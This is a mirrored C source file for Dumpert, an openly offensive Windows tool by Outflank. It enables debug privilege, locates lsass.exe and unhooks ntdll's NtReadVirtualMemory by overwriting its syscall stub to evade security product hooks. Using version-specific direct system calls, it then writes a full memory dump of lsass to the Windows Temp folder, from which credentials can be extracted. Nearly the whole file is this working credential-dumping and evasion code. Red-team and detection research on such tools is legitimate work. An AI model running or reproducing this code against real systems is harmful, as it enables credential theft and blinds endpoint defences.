mirror of
https://github.com/outflanknl/Dumpert.git
synced 2026-06-08 08:35:19 +00:00
355 lines
12 KiB
C
Executable File
355 lines
12 KiB
C
Executable File
#undef _UNICODE
|
|
#define _UNICODE
|
|
#undef UNICODE
|
|
#define UNICODE
|
|
|
|
#include <Windows.h>
|
|
#include <stdio.h>
|
|
#include "Dumpert.h"
|
|
#include <DbgHelp.h>
|
|
|
|
#pragma comment (lib, "Dbghelp.lib")
|
|
|
|
|
|
BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) {
|
|
BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF};
|
|
|
|
if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
|
|
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) {
|
|
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
|
|
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
|
|
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
|
|
}
|
|
else {
|
|
return FALSE;
|
|
}
|
|
|
|
LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall);
|
|
|
|
printf(" [+] %s function pointer at: 0x%p\n", pWinVerInfo->lpApiCall, lpProcAddress);
|
|
printf(" [+] %s System call nr is: 0x%x\n", pWinVerInfo->lpApiCall, AssemblyBytes[4]);
|
|
printf(" [+] Unhooking %s.\n", pWinVerInfo->lpApiCall);
|
|
|
|
LPVOID lpBaseAddress = lpProcAddress;
|
|
ULONG OldProtection, NewProtection;
|
|
SIZE_T uSize = 10;
|
|
NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
|
|
if (status != STATUS_SUCCESS) {
|
|
wprintf(L" [!] ZwProtectVirtualMemory failed.\n");
|
|
return FALSE;
|
|
}
|
|
|
|
status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL);
|
|
if (status != STATUS_SUCCESS) {
|
|
wprintf(L" [!] ZwWriteVirtualMemory failed.\n");
|
|
return FALSE;
|
|
}
|
|
|
|
status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
|
|
if (status != STATUS_SUCCESS) {
|
|
wprintf(L" [!] ZwProtectVirtualMemory failed.\n");
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL GetPID(IN PWIN_VER_INFO pWinVerInfo) {
|
|
pWinVerInfo->hTargetPID = NULL;
|
|
|
|
if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
|
|
ZwQuerySystemInformation = &ZwQuerySystemInformation10;
|
|
NtAllocateVirtualMemory = &NtAllocateVirtualMemory10;
|
|
NtFreeVirtualMemory = &NtFreeVirtualMemory10;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) {
|
|
ZwQuerySystemInformation = &ZwQuerySystemInformation7SP1;
|
|
NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1;
|
|
NtFreeVirtualMemory = &NtFreeVirtualMemory7SP1;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
|
|
ZwQuerySystemInformation = &ZwQuerySystemInformation80;
|
|
NtAllocateVirtualMemory = &NtAllocateVirtualMemory80;
|
|
NtFreeVirtualMemory = &NtFreeVirtualMemory80;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
|
|
ZwQuerySystemInformation = &ZwQuerySystemInformation81;
|
|
NtAllocateVirtualMemory = &NtAllocateVirtualMemory81;
|
|
NtFreeVirtualMemory = &NtFreeVirtualMemory81;
|
|
}
|
|
else {
|
|
return FALSE;
|
|
}
|
|
|
|
ULONG uReturnLength = 0;
|
|
NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, 0, 0, &uReturnLength);
|
|
if (!status == 0xc0000004) {
|
|
return FALSE;
|
|
}
|
|
|
|
LPVOID pBuffer = NULL;
|
|
SIZE_T uSize = uReturnLength;
|
|
status = NtAllocateVirtualMemory(GetCurrentProcess(), &pBuffer, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
|
|
if (status != 0) {
|
|
return FALSE;
|
|
}
|
|
|
|
status = ZwQuerySystemInformation(SystemProcessInformation, pBuffer, uReturnLength, &uReturnLength);
|
|
if (status != 0) {
|
|
return FALSE;
|
|
}
|
|
|
|
_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)
|
|
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");
|
|
if (RtlEqualUnicodeString == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
PSYSTEM_PROCESSES pProcInfo = (PSYSTEM_PROCESSES)pBuffer;
|
|
do {
|
|
if (RtlEqualUnicodeString(&pProcInfo->ProcessName, &pWinVerInfo->ProcName, TRUE)) {
|
|
pWinVerInfo->hTargetPID = pProcInfo->ProcessId;
|
|
break;
|
|
}
|
|
pProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta);
|
|
|
|
} while (pProcInfo);
|
|
|
|
status = NtFreeVirtualMemory(GetCurrentProcess(), &pBuffer, &uSize, MEM_RELEASE);
|
|
|
|
if (pWinVerInfo->hTargetPID == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL IsElevated() {
|
|
BOOL fRet = FALSE;
|
|
HANDLE hToken = NULL;
|
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
|
TOKEN_ELEVATION Elevation = { 0 };
|
|
DWORD cbSize = sizeof(TOKEN_ELEVATION);
|
|
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
|
|
fRet = Elevation.TokenIsElevated;
|
|
}
|
|
}
|
|
if (hToken) {
|
|
CloseHandle(hToken);
|
|
}
|
|
return fRet;
|
|
}
|
|
|
|
BOOL SetDebugPrivilege() {
|
|
HANDLE hToken = NULL;
|
|
TOKEN_PRIVILEGES TokenPrivileges = { 0 };
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
|
return FALSE;
|
|
}
|
|
|
|
TokenPrivileges.PrivilegeCount = 1;
|
|
TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
|
|
|
|
LPWSTR lpwPriv = L"SeDebugPrivilege";
|
|
if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {
|
|
CloseHandle(hToken);
|
|
return FALSE;
|
|
}
|
|
|
|
if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
|
|
CloseHandle(hToken);
|
|
return FALSE;
|
|
}
|
|
|
|
CloseHandle(hToken);
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
int wmain(int argc, wchar_t* argv[]) {
|
|
wprintf(L" ________ __ _____.__ __ \n");
|
|
wprintf(L" \\_____ \\ __ ___/ |__/ ____\\ | _____ ____ | | __ \n");
|
|
wprintf(L" / | \\| | \\ __\\ __\\| | \\__ \\ / \\| |/ / \n");
|
|
wprintf(L" / | \\ | /| | | | | |__/ __ \\| | \\ < \n");
|
|
wprintf(L" \\_______ /____/ |__| |__| |____(____ /___| /__|_ \\ \n");
|
|
wprintf(L" \\/ \\/ \\/ \\/ \n");
|
|
wprintf(L" Dumpert \n");
|
|
wprintf(L" By Cneeliz @Outflank 2019 \n\n");
|
|
|
|
LPCWSTR lpwProcName = L"lsass.exe";
|
|
|
|
if (sizeof(LPVOID) != 8) {
|
|
wprintf(L"[!] Sorry, this tool only works on a x64 version of Windows.\n");
|
|
exit(1);
|
|
}
|
|
|
|
if (!IsElevated()) {
|
|
wprintf(L"[!] You need elevated privileges to run this tool!\n");
|
|
exit(1);
|
|
}
|
|
|
|
SetDebugPrivilege();
|
|
|
|
PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO));
|
|
|
|
// First set OS Version/Architecture specific values
|
|
OSVERSIONINFOEXW osInfo;
|
|
LPWSTR lpOSVersion;
|
|
osInfo.dwOSVersionInfoSize = sizeof(osInfo);
|
|
|
|
_RtlGetVersion RtlGetVersion = (_RtlGetVersion)
|
|
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion");
|
|
if (RtlGetVersion == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
wprintf(L"[1] Checking OS version details:\n");
|
|
RtlGetVersion(&osInfo);
|
|
swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion);
|
|
pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber;
|
|
|
|
// Now create os/build specific syscall function pointers.
|
|
if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
|
|
lpOSVersion = L"10 or Server 2016";
|
|
wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
|
|
wprintf(L" [+] Mapping version specific System calls.\n");
|
|
ZwOpenProcess = &ZwOpenProcess10;
|
|
NtCreateFile = &NtCreateFile10;
|
|
ZwClose = &ZwClose10;
|
|
pWinVerInfo->SystemCall = 0x3F;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) {
|
|
lpOSVersion = L"7 SP1 or Server 2008 R2";
|
|
wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
|
|
wprintf(L" [+] Mapping version specific System calls.\n");
|
|
ZwOpenProcess = &ZwOpenProcess7SP1;
|
|
NtCreateFile = &NtCreateFile7SP1;
|
|
ZwClose = &ZwClose7SP1;
|
|
pWinVerInfo->SystemCall = 0x3C;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
|
|
lpOSVersion = L"8 or Server 2012";
|
|
wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
|
|
wprintf(L" [+] Mapping version specific System calls.\n");
|
|
ZwOpenProcess = &ZwOpenProcess80;
|
|
NtCreateFile = &NtCreateFile80;
|
|
ZwClose = &ZwClose80;
|
|
pWinVerInfo->SystemCall = 0x3D;
|
|
}
|
|
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
|
|
lpOSVersion = L"8.1 or Server 2012 R2";
|
|
wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber);
|
|
wprintf(L" [+] Mapping version specific System calls.\n");
|
|
ZwOpenProcess = &ZwOpenProcess81;
|
|
NtCreateFile = &NtCreateFile81;
|
|
ZwClose = &ZwClose81;
|
|
pWinVerInfo->SystemCall = 0x3E;
|
|
}
|
|
else {
|
|
wprintf(L" [!] OS Version not supported.\n\n");
|
|
exit(1);
|
|
}
|
|
|
|
wprintf(L"[2] Checking Process details:\n");
|
|
|
|
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)
|
|
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
|
|
if (RtlInitUnicodeString == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
RtlInitUnicodeString(&pWinVerInfo->ProcName, lpwProcName);
|
|
|
|
if (!GetPID(pWinVerInfo)) {
|
|
wprintf(L" [!] Enumerating process failed.\n");
|
|
exit(1);
|
|
}
|
|
|
|
wprintf(L" [+] Process ID of %wZ is: %lld\n", pWinVerInfo->ProcName, (ULONG64)pWinVerInfo->hTargetPID);
|
|
pWinVerInfo->lpApiCall = "NtReadVirtualMemory";
|
|
|
|
if (!Unhook_NativeAPI(pWinVerInfo)) {
|
|
printf(" [!] Unhooking %s failed.\n", pWinVerInfo->lpApiCall);
|
|
exit(1);
|
|
}
|
|
|
|
wprintf(L"[3] Create memorydump file:\n");
|
|
|
|
wprintf(L" [+] Open a process handle.\n");
|
|
HANDLE hProcess = NULL;
|
|
OBJECT_ATTRIBUTES ObjectAttributes;
|
|
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
|
CLIENT_ID uPid = { 0 };
|
|
|
|
uPid.UniqueProcess = pWinVerInfo->hTargetPID;
|
|
uPid.UniqueThread = (HANDLE)0;
|
|
|
|
NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid);
|
|
if (hProcess == NULL) {
|
|
wprintf(L" [!] Failed to get processhandle.\n");
|
|
exit(1);
|
|
}
|
|
|
|
WCHAR chDmpFile[MAX_PATH] = L"\\??\\";
|
|
WCHAR chWinPath[MAX_PATH];
|
|
GetWindowsDirectory(chWinPath, MAX_PATH);
|
|
wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath);
|
|
wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\\Temp\\dumpert.dmp");
|
|
|
|
UNICODE_STRING uFileName;
|
|
RtlInitUnicodeString(&uFileName, chDmpFile);
|
|
|
|
wprintf(L" [+] Dump %wZ memory to: %wZ\n", pWinVerInfo->ProcName, uFileName);
|
|
|
|
HANDLE hDmpFile = NULL;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
|
|
OBJECT_ATTRIBUTES FileObjectAttributes;
|
|
InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
// Open input file for writing, overwrite existing file.
|
|
status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0,
|
|
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
|
|
|
if (hDmpFile == INVALID_HANDLE_VALUE) {
|
|
wprintf(L" [!] Failed to create dumpfile.\n");
|
|
ZwClose(hProcess);
|
|
exit(1);
|
|
}
|
|
|
|
DWORD dwTargetPID = GetProcessId(hProcess);
|
|
BOOL Success = MiniDumpWriteDump(hProcess,
|
|
dwTargetPID,
|
|
hDmpFile,
|
|
MiniDumpWithFullMemory,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
if ((!Success))
|
|
{
|
|
wprintf(L" [!] Failed to create minidump, error code: %x\n", GetLastError());
|
|
}
|
|
else {
|
|
wprintf(L" [+] Dump succesful.\n");
|
|
}
|
|
|
|
ZwClose(hDmpFile);
|
|
ZwClose(hProcess);
|
|
|
|
return 0;
|
|
} |